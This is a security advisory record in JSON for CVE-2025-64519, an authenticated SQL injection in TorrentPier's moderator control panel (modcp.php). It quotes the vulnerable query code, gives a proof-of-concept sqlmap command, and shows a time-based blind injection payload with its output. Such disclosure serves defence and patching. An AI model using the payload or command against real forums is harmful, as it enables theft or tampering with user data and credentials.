{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "torrentpier/torrentpier"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.8.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64519"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-10T21:30:44Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nAn authenticated SQL injection vulnerability exists in the moderator control panel (`modcp.php`). Users with moderator permissions can exploit this vulnerability by supplying a malicious `topic_id` (`t`) parameter. This allows an authenticated moderator to execute arbitrary SQL queries, leading to the potential disclosure, modification, or deletion of any data in the database.\n\n### Details\nThe vulnerability is triggered when `modcp.php` processes a request that includes a `topic_id` (`t` parameter). The value of `$topic_id` is taken directly from user input and is not sanitized or parameterized before being concatenated into an SQL query.\n\nThis occurs within the initial data retrieval block for a given topic ID.\n\n**Vulnerable Code Block in `modcp.php` (lines 111-122):**\n```php\nif ($topic_id) {\n    $sql = \"\n\t\tSELECT\n\t\t\tf.forum_id, f.forum_name, f.forum_topics, f.self_moderated,\n\t\t\tt.topic_first_post_id, t.topic_poster\n\t\tFROM \" . BB_TOPICS . \" t, \" . BB_FORUMS . \" f\n\t\tWHERE t.topic_id = $topic_id\n\t\t\tAND f.forum_id = t.forum_id\n\t\tLIMIT 1\n\t\";\n\n    if (!$topic_row = DB()-\u003efetch_row($sql)) {\n        bb_die($lang[\u0027INVALID_TOPIC_ID_DB\u0027]);\n    }\n    // ...\n}\n```\nIn the `WHERE t.topic_id = $topic_id` clause, the `$topic_id` variable is directly embedded into the query string. An attacker can inject SQL syntax (e.g., boolean logic, time-based functions) into the `t` parameter to manipulate the query\u0027s execution.\n\n### PoC\nThis is a time-based blind SQL injection vulnerability that requires moderator privileges.\n\n**Prerequisites:**\n1.  A running instance of TorrentPier.\n2.  An account with moderator permissions.\n\n**Steps to Reproduce:**\n\n1.  Log in as a moderator.\n2.  Obtain the full session cookie string from the browser\u0027s developer tools.\n3.  Use `sqlmap` to automate the exploitation. The tool will test the `t` parameter for vulnerabilities.\n\n**`sqlmap` Command:**\n*(Note: Replace `https://localhost` with the target URL and `\"your_full_cookie_string\"` with the actual cookie data from the browser session, e.g., `\"key1=value1; key2=value2\"`)*.\n\n```bash\nsqlmap -u \"https://localhost/modcp.php?mode=lock\u0026t=1\" -p t --cookie \"your_full_cookie_string\" --dbms mysql --technique T --current-db\n```\n\n**`sqlmap` Output Confirmation:**\nThe following output from `sqlmap` confirms successful exploitation:\n```\n---\nParameter: t (GET)\n    Type: time-based blind\n    Title: MySQL \u003e= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: mode=lock\u0026t=1 AND (SELECT 9461 FROM (SELECT(SLEEP(5)))KxhM)\n---\n[INFO] the back-end DBMS is MySQL\n[INFO] fetching current database\n[INFO] retrieved: torrentpier\ncurrent database: \u0027torrentpier\u0027\n```\n\n### Impact\nThis is an authenticated SQL Injection vulnerability. Although it requires moderator privileges, it is still severe. A malicious or compromised moderator account can leverage this vulnerability to:\n\n*   **Read sensitive data:** Extract any information from the database, including user credentials (password hashes), private messages, email addresses, and other private data.\n*   **Modify data:** Alter records in the database, such as elevating their own or other users\u0027 privileges to administrator level.\n*   **Delete data:** Corrupt or destroy forum data by dropping tables or deleting records.",
  "id": "GHSA-4rwr-8c3m-55f6",
  "modified": "2025-11-10T21:30:44Z",
  "published": "2025-11-10T21:30:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/torrentpier/torrentpier/security/advisories/GHSA-4rwr-8c3m-55f6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/torrentpier/torrentpier/commit/6a0f6499d89fa5d6e2afa8ee53802a1ad11ece80"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/torrentpier/torrentpier"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "TorrentPier is Vulnerable to Authenticated SQL Injection through Moderator Control Panel\u0027s topic_id parameter"
}